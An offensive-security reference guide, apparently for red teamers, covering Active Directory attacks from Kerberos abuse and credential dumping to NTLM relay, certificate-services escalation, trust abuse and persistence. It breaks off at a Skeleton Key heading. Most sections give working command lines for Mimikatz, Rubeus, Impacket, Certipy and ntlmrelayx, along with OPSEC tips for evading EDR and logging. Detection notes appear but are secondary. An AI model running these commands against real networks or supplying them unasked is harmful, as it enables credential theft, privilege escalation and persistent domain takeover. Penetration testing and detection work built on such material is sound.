Active Directory Attack Compendium

From Kerberoasting to Cutting-Edge Relay & ESC Attacks

Expert-Level Reference for Red Teamers & Penetration Testers

J Laratro — d0sf3t | Aradex.io

Scope	All major AD attack classes: credential theft, Kerberos abuse, delegation attacks, relay attacks, ACL abuse, certificate services exploitation, trust abuse, and persistence
Audience	OSCP/OSEP-level practitioners and beyond — assumes working knowledge of Windows internals, networking, and Kerberos
Approach	Each attack: conceptual theory (why it works), technical execution (how), tooling, OPSEC, detection signatures, and mitigations

Table of Contents

Chapter 1 — Kerberos Internals & the Attack Surface
Chapter 2 — Credential Harvesting & Theft
Chapter 3 — Kerberoasting & AS-REP Roasting
Chapter 4 — Pass-the-Hash, Pass-the-Ticket & Overpass-the-Hash
Chapter 5 — Golden Tickets, Silver Tickets & Diamond Tickets
Chapter 6 — Delegation Attacks (Unconstrained, Constrained, RBCD)
Chapter 7 — NTLM Relay Attacks & Coercion Techniques
Chapter 8 — ACL / ACE Abuse & Object Takeover
Chapter 9 — AD Certificate Services (AD CS) — ESC1 through ESC14
Chapter 10 — Trust Abuse & Cross-Forest Attacks
Chapter 11 — Persistence & Domain Dominance
Chapter 12 — Defensive Evasion & OPSEC for Operators
Chapter 13 — Detection Engineering & Blue Team Indicators
Chapter 14 — Tool Reference Matrix

Chapter 1: Kerberos Internals & the Attack Surface

Kerberos is the default authentication protocol in Active Directory since Windows 2000. Every major AD attack class — Kerberoasting, Golden/Silver Tickets, delegation abuse, S4U abuse — exploits specific design decisions in the protocol. This chapter breaks down the protocol flow, cryptographic primitives, and where each design choice creates an exploitable attack surface.

1.1 The Three-Party Model

Kerberos involves three parties: (1) the **Client** requesting access, (2) the **Key Distribution Center (KDC)** running on every Domain Controller (consisting of the Authentication Service and Ticket Granting Service), and (3) the **Application Server** (target service). The client never sends its password over the network — it proves knowledge through encrypted timestamps and receives time-limited tickets.

1.2 Authentication Flow

AS-REQ / AS-REP (Initial Authentication)

The client sends an AS-REQ containing: the user principal name, a timestamp encrypted with the user's NT hash (pre-authentication data), and a request for a TGT. The KDC validates the encrypted timestamp, then returns an AS-REP containing: (a) a TGT encrypted with the **krbtgt** account's NT hash (the client cannot decrypt this), and (b) a session key encrypted with the user's NT hash.

Operator Tip: If pre-authentication is disabled on an account (DONT_REQ_PREAUTH, UAC 4194304), the KDC returns an AS-REP without verifying identity. The encrypted portion can be cracked offline — this is **AS-REP Roasting**.

TGS-REQ / TGS-REP (Service Ticket Request)

The client presents its TGT to the KDC along with the SPN of the target service. The KDC decrypts the TGT with the krbtgt hash, validates the session, and returns a TGS encrypted with the **target service account's NT hash**. Critically, the KDC does not verify authorization — any authenticated user can request a TGS for any SPN. Authorization is delegated to the service.

Operator Tip: Since any user can request a TGS for any SPN, and the TGS is encrypted with the service account's hash, any TGS for an SPN mapped to a **user account** (not a machine account) can be cracked offline. This is **Kerberoasting**.

AP-REQ / AP-REP (Service Authentication)

The client presents the Service Ticket to the target service. The service decrypts it with its own NT hash, extracts the PAC (Privilege Attribute Certificate) containing group memberships and SIDs, and makes an authorization decision. The service does **not** contact the DC to validate the ticket by default — it trusts the ticket's contents. This is why Silver Tickets work.

1.3 The PAC (Privilege Attribute Certificate)

The PAC is embedded in every Kerberos ticket containing: SID, group SIDs, logon information, and claims. Signed by both the KDC (krbtgt key) and the target service's key. PAC validation was historically optional. Microsoft has incrementally enforced it since 2021 (KB5008380, KB5020009, KB5037754), but rollouts are slow and many environments remain vulnerable.

Detection: Event ID 4769 (TGS request) logs the SPN and encryption type. Event ID 4768 (TGT request) logs the pre-auth type. RC4 (etype 23) in an AES environment indicates potential Kerberoasting or legacy misconfiguration.

1.4 Encryption Types

Etype	Algorithm	Key Derivation	Attack Relevance
23 (RC4-HMAC)	RC4 with MD4 NT hash	NT hash = MD4(UTF-16LE(password))	Fastest to crack. No salt. Default Kerberoast target.
17 (AES128)	AES-128 PBKDF2	4096 iterations + salt (domain+username)	Slower to crack. Salted.
18 (AES256)	AES-256 PBKDF2	4096 iterations + salt	Slowest. Preferred in hardened environments.

Operator Tip: When Kerberoasting, force RC4 by requesting etype 23 in TGS-REQ. Rubeus supports this with /tgtdeleg or /enctype flags. AES tickets take significantly longer to crack but aren't immune if passwords are weak.

1.5 Key Accounts

The **krbtgt** account's NT hash encrypts every TGT in the domain. Compromising it grants Golden Ticket capability — forged TGTs for any user with arbitrary group memberships and up to 10-year lifetimes. The krbtgt password is set at domain creation and almost never rotated. Microsoft recommends rotating it twice in succession to invalidate existing TGTs, but this is disruptive and rarely done.

Machine accounts (ending in $) have auto-generated 240-character random passwords rotating every 30 days. Their hashes can't be cracked but can be extracted from the machine (SAM, LSASS, registry) for Silver Ticket attacks.

Chapter 2: Credential Harvesting & Theft

Credential theft is the foundation of AD lateral movement. Credentials exist across the environment in multiple forms: NT hashes in LSASS, Kerberos tickets in memory, cached domain credentials, cleartext in GPP, and the full domain database (NTDS.dit) on DCs.

2.1 LSASS Credential Extraction

LSASS (lsass.exe) caches authentication material for SSO: NT hashes, Kerberos TGTs/session keys, cleartext passwords (if WDigest enabled — default on Server 2008 R2 and earlier), and DPAPI master keys.

Extraction Techniques

Mimikatz sekurlsa::logonpasswords — Classic approach. Requires SeDebugPrivilege (local admin). On systems with Credential Guard, LSASS runs in VBS isolation and Mimikatz can't read it.

LSASS Minidump — Dump via procdump, comsvcs.dll (rundll32 comsvcs.dll MiniDump), or Task Manager, then parse offline with Mimikatz or pypykatz. Avoids running tools on target but dump triggers AV.

nanodump / PPLdump / PPLmedic — Bypass PPL protection on LSASS. nanodump uses direct syscalls to evade EDR. PPLmedic exploits BYOVDLL to downgrade LSASS protection.

SAM / SYSTEM / SECURITY Hives — Offline extraction of local NT hashes. Tools: reg save, secretsdump.py (local), Volume Shadow Copy.

OPSEC Warning: Touching LSASS is the most detected offensive action. Most EDRs hook NtReadVirtualMemory on LSASS. Consider DCSync, Kerberos ticket theft, or DPAPI abuse first.

2.2 NTDS.dit Extraction

The domain database on every DC at C:\Windows\NTDS\NTDS.dit. Contains all user NT hashes and Kerberos keys. Locked by AD — can't be copied directly.

Volume Shadow Copy — vssadmin create shadow /for=C: then copy from shadow. Requires local admin on DC.

ntdsutil — ntdsutil "activate instance ntds" ifm "create full C:\temp" creates IFM backup with NTDS.dit and hives.

DCSync — Uses DRS protocol to replicate password data remotely. No filesystem access needed. Covered in Chapter 5.

Offline parsing — secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL, or DSInternals for granular analysis.

2.3 GPP Passwords

Prior to MS14-025, GPP stored AES-256 encrypted passwords in XML on SYSVOL (Groups.xml, Services.xml, etc.). Microsoft published the key on MSDN, making decryption trivial. Tools: gpp-decrypt, Get-GPPPassword, CrackMapExec gpp_password. Old GPP files may persist on SYSVOL.

2.4 DPAPI Secrets

DPAPI protects browser passwords, Wi-Fi keys, RDP creds, cert private keys. Master keys encrypted with user’s password hash. Domain DPAPI backup keys (extractable via lsadump::backupkeys or secretsdump.py) decrypt any domain user’s DPAPI secrets without individual passwords.

2.5 Kerberos Ticket Extraction

Tickets can be extracted without touching LSASS password storage. Rubeus dump exports tickets from current session. Rubeus triage lists all sessions (requires elevation). Cross-platform with ticketConverter.py.

Chapter 3: Kerberoasting & AS-REP Roasting

3.1 Kerberoasting — Theory

Any authenticated domain user can request a TGS for any SPN. The TGS is encrypted with the service account's NT hash. For **user accounts** with SPNs (not machine accounts with 240-char passwords), the ticket can be cracked offline. This is the single most commonly successful AD attack on engagements.

3.2 Kerberoasting — Execution

```
# Enumerate Kerberoastable accounts
GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.1
Rubeus.exe kerberoast /stats

# Request tickets (force RC4 for faster cracking)
GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.1 -request -outputfile hashes.txt
Rubeus.exe kerberoast /enctype:rc4 /outfile:hashes.txt

# Crack
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule # RC4
hashcat -m 19700 hashes.txt wordlist.txt # AES
```

OPSEC Warning: Requesting many TGS tickets rapidly is detectable. Target high-value accounts only. Use /tgtdeleg in Rubeus to avoid NTLM artifacts.

Detection: Event ID 4769 for TGS requests with etype 0x17 (RC4) in AES environments. Volume anomalies from a single source. MDI flags Kerberoasting natively.

3.3 Targeted Kerberoasting

With GenericAll, GenericWrite, or WriteProperty on a user, you can **set an SPN** on that account, request a TGS, crack it, then remove the SPN. This allows Kerberoasting accounts that weren't originally vulnerable.

```
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='http/fake'}
Rubeus.exe kerberoast /user:targetuser
Set-DomainObject -Identity targetuser -Clear serviceprincipalname
```

3.4 AS-REP Roasting

Targets accounts with DONT_REQ_PREAUTH (UAC 4194304). Without pre-auth, the KDC returns an AS-REP encrypted with the user's key — crackable offline. **Does not require valid domain credentials** if you know the username.

```
# Authenticated enumeration
Get-DomainUser -PreauthNotRequired

# Unauthenticated (username spray)
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.1

# Crack (hashcat mode 18200)
hashcat -m 18200 asrep.txt wordlist.txt
```

Targeted AS-REP Roasting: With Write permissions, enable DONT_REQ_PREAUTH, grab the AS-REP, crack, then re-enable pre-auth. Same pattern as targeted Kerberoasting.

Chapter 4: Pass-the-Hash, Pass-the-Ticket & Overpass-the-Hash

4.1 Pass-the-Hash (PtH)

NTLM’s challenge-response uses the NT hash directly: response = HMAC-MD5(NT_hash, server_challenge + client_challenge). The hash *is* the credential. If you obtain a user’s NT hash from any source, you can authenticate to any NTLM-accepting service.

```
# Impacket
psexec.py domain/user@target -hashes :NT_HASH
wmiexec.py domain/user@target -hashes :NT_HASH
smbexec.py domain/user@target -hashes :NT_HASH

# CrackMapExec / NetExec
nxc smb 10.10.10.0/24 -u admin -H NT_HASH --local-auth

# Mimikatz
sekurlsa::pth /user:admin /domain:corp.local /ntlm:NT_HASH /run:cmd.exe
```

PtH targets: SMB, WMI, WinRM, LDAP, MSSQL — any NTLM-accepting service. RDP only works with Restricted Admin Mode enabled.

OPSEC Warning: PtH over SMB with service creation (psexec-style) is extremely noisy. Prefer wmiexec (no service, in-memory) or DCOM for stealth.

4.2 Overpass-the-Hash (Pass-the-Key)

Uses an NT hash (or AES key) to request a legitimate Kerberos TGT, converting NTLM creds to Kerberos. Allows access to Kerberos-only services and bypasses NTLM-specific monitoring.

```
# Rubeus
Rubeus.exe asktgt /user:admin /rc4:NT_HASH /ptt
Rubeus.exe asktgt /user:admin /aes256:AES_KEY /ptt /opsec # stealthier

# Impacket
getTGT.py domain.local/admin -hashes :NT_HASH
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass domain.local/admin@dc01.domain.local
```

4.3 Pass-the-Ticket (PtT)

Injects a stolen Kerberos ticket (TGT or TGS) into the current logon session. Uses the ticket directly — no hash needed. Tickets harvested from LSASS, exported from sessions, or forged.

```
Rubeus.exe dump /luid:0x3e7 /service:krbtgt
Rubeus.exe ptt /ticket:base64_ticket
kerberos::ptt ticket.kirbi # Mimikatz
```

Tickets are time-limited (default TGT: 10 hours, renewable 7 days), so timing matters. PtT is valuable when NTLM is disabled or monitored.

Chapter 5: Golden Tickets, Silver Tickets & Diamond Tickets

5.1 Golden Ticket

A forged TGT created with the **krbtgt** NT hash. Because all TGTs are encrypted with krbtgt, a forged TGT with valid structure is indistinguishable from legitimate. The attacker specifies: any username (even non-existent), any group memberships (DA, EA), any ticket lifetime (up to 10 years), and any SID History entries.

DCSync → Golden Ticket

DCSync is the standard method to obtain the krbtgt hash. Requires **DS-Replication-Get-Changes** + **DS-Replication-Get-Changes-All** rights (held by DA, EA, DC machine accounts by default). Uses MS-DRSR to replicate password data.

```
# DCSync
lsadump::dcsync /domain:corp.local /user:krbtgt
secretsdump.py corp.local/admin:pass@dc01 -just-dc-user krbtgt

# Forge Golden Ticket
kerberos::golden /user:fakeadmin /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt
Rubeus.exe golden /rc4:KRBTGT_HASH /user:fakeadmin /domain:corp.local /sid:S-1-5-21-... /ptt
```

Property	Value	Detection Opportunity
Lifetime	Forged: up to 10 years	TGTs exceeding domain policy (default 10 hrs)
Account	Can be non-existent	TGT for user not in AD (if PAC validation enforced)
Groups	Arbitrary	Unexpected group memberships in PAC
Encryption	RC4 or AES256	RC4 in AES-only environment

Detection: Event ID 4769 with no prior 4768 (TGS without TGT request). RC4 TGTs when AES enforced. Abnormal TGT lifetimes. MDI detects Golden Tickets natively.

5.2 Silver Ticket

A forged TGS created with the target service account's NT hash. **Never contacts the KDC** — presented directly to the service. No AS-REQ or TGS-REQ is generated on the DC, making Silver Tickets significantly harder to detect.

Common targets: CIFS (file shares), HOST (scheduled tasks, psexec), HTTP (WinRM), LDAP (DCSync via forged LDAP ticket to DC), MSSQL.

```
# Silver Ticket for CIFS
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... /target:server01.corp.local
/service:cifs /rc4:MACHINE_HASH /ptt

# Silver Ticket for HOST (psexec-style access)
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... /target:server01.corp.local
/service:host /rc4:MACHINE_HASH /ptt
```

OPSEC Warning: Silver Tickets bypass DC logging entirely. Only detection is on the target service. If PAC validation is enforced, the forged PAC is rejected when the service contacts the DC.

5.3 Diamond Ticket

A modification of a **legitimately issued TGT**. The attacker decrypts a real TGT with the krbtgt hash, modifies the PAC (adding privileged group SIDs), re-encrypts, and uses the modified ticket. Because it originated from a real AS-REQ, it has matching Event ID 4768 logs — much harder to detect than Golden Tickets.

```
Rubeus.exe diamond /krbkey:AES256_KRBTGT_KEY /user:normaluser /password:pass /enctype:aes256
/ticketuser:admin /ticketuserid:500 /groups:512 /ptt
```

Chapter 6: Delegation Attacks

Kerberos delegation allows a service to impersonate a user when accessing other services on their behalf. Required for multi-hop scenarios (web app → SQL DB as connecting user). Each delegation type introduces specific abuse paths.

6.1 Unconstrained Delegation

When a computer has the TrustedForDelegation flag, any user who authenticates via Kerberos has their **TGT cached** in the computer's LSASS. The service can use that TGT to impersonate the user to **any** service.

Attack: TGT Harvesting + Coercion

Force a high-value target (like a DC) to authenticate to your compromised unconstrained delegation host, then capture its TGT.

```
# Find unconstrained delegation hosts
Get-DomainComputer -Unconstrained | select dnshostname

# Monitor for TGTs
Rubeus.exe monitor /interval:5 /nowrap

# Coerce DC (PrinterBug)
SpoolSample.exe dc01.corp.local unconstrained01.corp.local

# Alternatively PetitPotam (unauthenticated when unpatched)
PetitPotam.py unconstrained01.corp.local dc01.corp.local

# Use captured DC TGT for DCSync
Rubeus.exe ptt /ticket:base64_dc_tgt
lsadump::dcsync /domain:corp.local /user:krbtgt
```

6.2 Constrained Delegation

Limits delegation to specific services listed in **msDS-AllowedToDelegateTo**. Uses S4U extensions: **S4U2Self** gets a forwardable ticket on behalf of any user, **S4U2Proxy** uses that to get a TGS to the allowed target. Compromise the delegating account = impersonate any user (including DA) to listed services.

```
# Impacket
getST.py -spn cifs/target01.corp.local -impersonate Administrator corp.local/svc_web:pass
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@target01.corp.local

# Rubeus
Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:Administrator
/msdsspn:cifs/target01.corp.local /ptt
```

Operator Tip: The SPN in msDS-AllowedToDelegateTo only controls the service class. You can rewrite the service name in the ticket: HTTP/server → CIFS/server, HOST/server, etc. This is **SPN rewriting** / alternate service name abuse.

6.3 Resource-Based Constrained Delegation (RBCD)

Inverts the model: the **target service** lists who can delegate to it via **msDS-AllowedToActOnBehalfOfOtherIdentity**. Writable by anyone with Write privileges on the target computer object. No DA needed.

RBCD Attack Chain

Prerequisites: (1) Write access to target computer's msDS-AllowedToActOnBehalfOfOtherIdentity, (2) control of a computer account (create via MachineAccountQuota or use existing compromised machine).

```
# Create machine account (default MAQ = 10)
addcomputer.py -computer-name FAKEPC$ -computer-pass Password1 corp.local/user:pass

# Set RBCD
rbcd.py -delegate-to TARGET$ -delegate-from FAKEPC$ -dc-ip 10.10.10.1 corp.local/user:pass

# S4U to get DA ticket
getST.py -spn cifs/target.corp.local -impersonate Administrator -dc-ip 10.10.10.1
corp.local/FAKEPC$:Password1

# Use it
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass target.corp.local
```

Detection: Monitor changes to msDS-AllowedToActOnBehalfOfOtherIdentity (Event ID 5136). Also monitor new machine accounts (4741) combined with delegation config changes.

Chapter 7: NTLM Relay Attacks & Coercion Techniques

NTLM relay exploits NTLM's lack of mutual authentication and channel binding. An attacker intercepts NTLM authentication and forwards it to a different target, authenticating as the victim.

7.1 What Makes Relay Possible

• **No SMB signing** — Not enforced by default on non-DC members. Prevents relay to SMB targets when enforced.

• **No LDAP signing / channel binding** — Rarely enforced. Prevents relay to LDAP when enforced.

• **No EPA** (Extended Protection for Authentication) — Required to prevent relay to HTTP/HTTPS.

• **Cross-protocol relay** — NTLM from SMB can relay to LDAP, HTTP, MSSQL, and vice versa.

7.2 Coercion Techniques

Coercion forces a target machine to authenticate to an attacker-controlled host — the trigger for relay attacks. **Coercer** (p0dalirius) is the modern consolidated tool that automates 17+ coercion methods across multiple protocols.

Technique	Protocol	Auth Required	Impact
PetitPotam	MS-EFSR	Unauth (unpatched)	Coerce DC via HTTP/SMB
PrinterBug (SpoolSample)	MS-RPRN	Authenticated	Coerce any host with Print Spooler
DFSCoerce	MS-DFSNM	Authenticated	Coerce via DFS namespace mgmt
ShadowCoerce	MS-FSRVP	Authenticated	Coerce via File Server VSS Agent
Coercer	Multiple (17+ methods)	Authenticated	Automated multi-protocol coercion framework. Preferred tool.

7.3 High-Impact Relay Scenarios

Relay to LDAP → RBCD

Relay machine account NTLM auth to LDAP, modify msDS-AllowedToActOnBehalfOfOtherIdentity to set up RBCD.

```
ntlmrelayx.py -t ldap://dc01.corp.local --delegate-access
PetitPotam.py attacker_ip target_ip
# ntlmrelayx creates machine account and configures RBCD automatically
```

Relay to AD CS HTTP Enrollment (ESC8)

AD CS web enrollment accepts NTLM over HTTP by default with no EPA. Relay DC machine auth to request a DC certificate, then use it for DCSync.

```
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template
DomainController
```

```
PetitPotam.py attacker_ip dc01.corp.local
Rubeus.exe asktgt /user:dc01$ /certificate:base64_cert /ptt
```

Relay to SMB

Classic relay to SMB where signing isn't required. Execute commands, dump SAM, deploy persistence.

```
ntlmrelayx.py -t smb://target01.corp.local -smb2support
ntlmrelayx.py -t smb://target01.corp.local -c 'whoami > C:\temp\pwned.txt'
```

7.4 LLMNR / NBT-NS / mDNS Poisoning

When DNS fails, Windows broadcasts LLMNR (UDP 5355), NBT-NS (UDP 137), mDNS (UDP 5353). Attacker responds to broadcasts, victims authenticate to attacker.

```
# Capture NTLMv2 hashes
responder -I eth0 -wrFb
hashcat -m 5600 hashes.txt wordlist.txt
```

Operator Tip: Combine Responder (capture) with ntlmrelayx (relay) simultaneously. Use -A (analyze mode) first to identify targets without poisoning, then selectively target high-value hosts.

7.5 Kerberos Relay (Emerging)

Kerberos relay is a newer attack class (James Forshaw / Google Project Zero, 2021+). Unlike NTLM relay, Kerberos relay abuses Kerberos authentication forwarding in scenarios where the AP-REQ is not bound to a specific channel. Implementations exist for DNS Dynamic Updates (Dirk-jan Mollema), LLMNR spoofing (Synacktiv), and DCOM-based relay. While less mature than NTLM relay tooling, Kerberos relay bypasses NTLM-specific defenses like SMB/LDAP signing and is increasingly relevant as Microsoft deprecates NTLM.

7.6 WebClient + Coercion (HTTP Relay Path)

If the WebClient service is running on a target, coercion can force HTTP-based authentication instead of SMB. HTTP authentication is not subject to SMB signing requirements, enabling relay to LDAP for RBCD or Shadow Credentials attacks. Enumerate WebClient with nxc smb targets -u user -p pass -M webdav. Coerce via WebDAV UNC path: \\attacker@80/file. This is one of the most reliable relay paths in modern environments.

Chapter 8: ACL / ACE Abuse & Object Takeover

Every AD object has a DACL with ACEs defining who can do what. Overly permissive ACEs are among the most common and impactful AD misconfigurations. BloodHound maps these as attack graph edges.

8.1 Dangerous ACE Rights

Right	Abuse
GenericAll	Full control: change password, modify group membership, set SPN, write any attribute
GenericWrite	Write properties: set SPN (targeted Kerberoast), modify RBCD attribute, Shadow Credentials
WriteDACL	Modify permissions: grant yourself GenericAll. Self-escalation primitive.
WriteOwner	Take ownership, then modify DACL to grant GenericAll
ForceChangePassword	Reset user's password without knowing current. Disruptive but effective.
AddMember / Self	Add self/controlled user to privileged groups
AllExtendedRights	Includes ForceChangePassword + read LAPS password + read gMSA password
DS-Replication-Get-Changes-All	DCSync — replicate password data from DC

8.2 ACL Attack Chains

The power is in chaining. BloodHound excels here. Example: Compromised User → GenericWrite on Group A → AddMember to Group B → Group B has WriteDACL on Domain Admins → Grant GenericAll → Add self to DA.

```
# Grant DCSync rights via WriteDACL
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity attacker -Rights DCSync

# Add to group
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'attacker'

# Force password reset
Set-DomainUserPassword -Identity target -AccountPassword (ConvertTo-SecureString 'NewPass1!'
-AsPlainText -Force)
```

8.3 Shadow Credentials (msDS-KeyCredentialLink)

With GenericWrite/GenericAll on a user or computer, add a Key Credential to msDS-KeyCredentialLink. This allows obtaining a TGT via PKINIT without changing the password or invalidating sessions. Stealthier than password resets.

```
# Whisker (C#)
Whisker.exe add /target:targetuser /domain:corp.local
Rubeus.exe asktgt /user:targetuser /certificate:generated.pfx /password:pfx_pass /ptt

# pyWhisker (Python)
pywhisker.py -d corp.local -u attacker -p pass -t targetuser --action add
```

Detection: Monitor msDS-KeyCredentialLink modifications (Event ID 5136). PKINIT auth (Event ID 4768, pre-auth type 16) from accounts that don’t normally use certificates.

Chapter 9: AD Certificate Services — ESC1 through ESC14

AD CS provides PKI for AD environments. SpecterOps (2021) and subsequent community research identified 14+ escalation vectors caused by template misconfigurations, CA misconfigurations, and protocol weaknesses. AD CS attacks are among the most impactful because **certificates persist independently of password resets**.

9.1 Fundamentals

An Enterprise CA integrates with AD: publishes certs, uses AD for authentication, trusts AD for identity. Certificate templates define: who can enroll, EKUs (Extended Key Usages), whether the SAN can be specified by the requestor, and authentication method.

```
# Enumerate vulnerable templates
Certify.exe find /vulnerable
certipy find -u user@corp.local -p pass -dc-ip 10.10.10.1 -vulnerable
```

9.2 ESC1: SAN Specification

Most common and impactful. Vulnerable when: (1) **ENROLLEE_SUPPLIES_SUBJECT** enabled in msPKI-Certificate-Name-Flag, (2) authentication EKU (Client Auth, PKINIT, Smart Card Logon, Any Purpose), (3) attacker has enrollment rights. Request a cert specifying a DA's UPN as the SAN. CA issues without verification.

```
certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate -upn
administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# Returns administrator NT hash — DCSync or PtH
```

9.3 ESC2: Any Purpose EKU / No EKU

Templates with Any Purpose EKU (OID 2.5.29.37.0), subordinate CA EKU, or no EKU can be used for any purpose including authentication. Combined with enrollment rights and SAN specification = same impact as ESC1.

9.4 ESC3: Enrollment Agent

Two-step: (1) Enroll in template granting Certificate Request Agent EKU. (2) Use that cert to request a certificate on behalf of another user (e.g., DA) from a template allowing enrollment agents with auth EKU.

9.5 ESC4: Vulnerable Template ACLs

WriteDACL, WriteOwner, or WriteProperty on a template's AD object → modify template to enable ENROLLEE_SUPPLIES_SUBJECT + auth EKU → exploit as ESC1.

```
certipy template -u user@corp.local -p pass -template Target -save-old
certipy req -u user@corp.local -p pass -ca CORP-CA -template Target -upn administrator@corp.local
certipy template -u user@corp.local -p pass -template Target -configuration Target.json # restore
```

9.6 ESC5: PKI Object ACLs

Write access to the CA's AD object, RootCA, or NTAuthCertificates container. Modifying NTAuthCertificates adds a rogue CA as trusted for NT auth — any cert from that rogue CA can authenticate to the domain.

9.7 ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

If the CA has this flag set, **any** certificate request can include an arbitrary SAN regardless of template config. Every auth-enabled template becomes ESC1. Patched May 2022 but flag may persist on unpatched CAs.

9.8 ESC7: Vulnerable CA ACLs

ManageCA rights: enable EDITF flag (creating ESC6), add yourself as officer, approve requests. **ManageCertificates**: approve pending certificate requests.

```
certipy ca -ca CORP-CA -u user@corp.local -p pass -add-officer user
certipy req -u user@corp.local -p pass -ca CORP-CA -template SubCA -upn administrator@corp.local
# Request denied/pending — note ID
certipy ca -ca CORP-CA -u user@corp.local -p pass -issue-request [ID]
certipy req -u user@corp.local -p pass -ca CORP-CA -retrieve [ID]
```

9.9 ESC8: NTLM Relay to HTTP Enrollment

AD CS web enrollment (certsrv) and CES endpoints accept NTLM over HTTP by default with no EPA. Relay DC machine auth to request a DC certificate. Covered in Chapter 7 (Relay Scenario 2). Most commonly exploited AD CS relay vector.

9.10 ESC9: No Security Extension

CT_FLAG_NO_SECURITY_EXTENSION flag → issued cert lacks szOID_NTDS_CA_SECURITY_EXT mapping cert to AD account. Combined with StrongCertificateBindingEnforcement = 0 or 1: attacker with GenericWrite changes target's UPN to victim's UPN, requests cert, restores UPN, authenticates as victim.

9.11 ESC10: Weak Certificate Mapping

ESC10a: StrongCertificateBindingEnforcement = 0 → certs mapped by UPN only. Change controlled user's UPN to target's → certificate impersonation. **ESC10b:** CertificateMappingMethods includes UPN mapping (0x4) → similar UPN swap attacks.

9.12 ESC11: Relay to ICertPassage (RPC)

Relay NTLM to CA's RPC enrollment interface instead of HTTP. Works when CA doesn't enforce IF_ENFORCEENCRYPTICERTREQUEST. Same impact as ESC8 but via RPC.

9.13 ESC12: CA Key in DPAPI

CA private key stored via DPAPI (software, not HSM). Local admin on CA → recover key via DPAPI extraction → issue certificates for any user offline, indefinitely.

9.14 ESC13: OID Group Link

Templates with issuance policy OID linked to AD group via msDS-OIDToGroupLink. Enrolling in such a template effectively grants group membership for that linked group during cert-based authentication.

9.15 ESC14: Explicit Certificate Mapping

Exploits altSecurityIdentities attribute for explicit cert-to-account mapping. Write access to this attribute on a target → map your cert to their account. With StrongCertificateBindingEnforcement = 1 (compatibility), this mapping takes precedence over implicit UPN mapping.

Operator Tip: AD CS certs persist through password resets. For persistence, request long-lived certs (some templates allow multi-year validity). Compromising the CA's private key = forge certs offline for any user indefinitely, surviving even cert revocation unless the CA cert itself is distrusted.

Chapter 10: Trust Abuse & Cross-Forest Attacks

10.1 Trust Types

Trust Type	Direction	Transitivity	SID Filtering	Attack Relevance
Parent-Child	Two-way	Transitive	Disabled	Full SID History abuse within forest
Tree-Root	Two-way	Transitive	Disabled	Same as parent-child
Forest (default)	Configurable	Transitive	Enabled	SID filtering blocks SID History attacks
Forest (SID History)	Configurable	Transitive	Disabled	Critical — full cross-forest SID History abuse
External	Configurable	Non-transitive	Enabled	Limited scope to specific domain

10.2 Child → Parent Escalation

Within a forest, the forest is the trust boundary, not the domain. DA in a child domain can escalate to EA in the forest root.

Golden Ticket + SID History Injection

Forge Golden Ticket in child domain with Enterprise Admins SID (S-1-5-21-<forest root>-519) in SIDHistory. SID filtering is disabled on parent-child trusts, so the forest root DC accepts the EA SID.

```
lsadump::dcsync /domain:child.corp.local /user:krbtgt
kerberos::golden /user:fakeadmin /domain:child.corp.local /sid:S-1-5-21-CHILD /krbtgt:HASH
/sids:S-1-5-21-ROOT-519 /ptt
```

Inter-Realm Trust Key

Each trust has a shared secret (trust key). With the trust key, forge an inter-realm TGT with arbitrary SID History. Functionally equivalent to Golden Ticket approach.

10.3 Cross-Forest Attacks

With SID filtering enabled, SID History is blocked. Remaining paths:

- **Kerberoasting across trusts** — Request TGS for SPNs in trusted forest.
- **Shared credentials** — Users with accounts in both forests often reuse passwords.
- **AD CS cross-trust** — If trusted forest's CA issues certs to trusting forest, template misconfigs are exploitable.
- **Foreign group membership** — Enumerate groups in target forest containing members from your forest.
- **SID filtering disabled (/enablesidhistory)** — Full SID History injection across forests. Critical finding.

Chapter 11: Persistence & Domain Dominance

11.1 Persistence Matrix

Technique	Access Needed	Survives PW Reset	Survives Reboot	Detect Difficulty
Golden Ticket	krbtgt hash	Yes (all but krbtgt)	Yes	Medium
Silver Ticket	Service hash	No (that acct)	Yes	Hard
Diamond Ticket	krbtgt hash	Yes	Yes	Hard
DCSync Backdoor ACL	WriteDACL on domain	Yes	Yes	Medium
AdminSDHolder	DA / WriteDACL	Yes	Yes	Medium
DCShadow	DA + SYSTEM on DC	Yes	Yes	Very Hard
AD CS Certificate	Enrollment rights	Yes (independent)	Yes	Hard
Skeleton Key	DA / SYSTEM on DC	Yes	No (memory)	Medium
DSRM Abuse	DA / local DC admin	Yes	Yes	Hard
GPO Backdoor	GPO edit rights	Yes	Yes	Medium
Custom SSP	SYSTEM on DC	Yes	Configurable	Hard
SID History	DA / SID write	Yes	Yes	Medium

11.2 AdminSDHolder Persistence

AdminSDHolder's ACL is stamped onto all protected groups/accounts every 60 minutes by SDProp. Add a backdoor ACE granting a controlled account GenericAll → auto-propagates to DA, EA, Schema Admins, etc. Auto-heals if manually removed from protected objects.

```
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' -PrincipalIdentity
backdoor -Rights All
# After 60 min: backdoor has GenericAll on all protected groups
```

11.3 DCShadow

Registers a rogue DC, pushes malicious replication (SID History injection, group mods, ACL changes) to legitimate DCs, then unregisters. Changes appear as normal directory replication. Requires DA + SYSTEM.

```
# Session 1: Push changes
lsadump::dcshadow /object:targetuser /attribute:primaryGroupID /value:512
```

```
# Session 2 (SYSTEM): Execute replication
lsadump::dcshadow /push
```

11.4 Skeleton Key

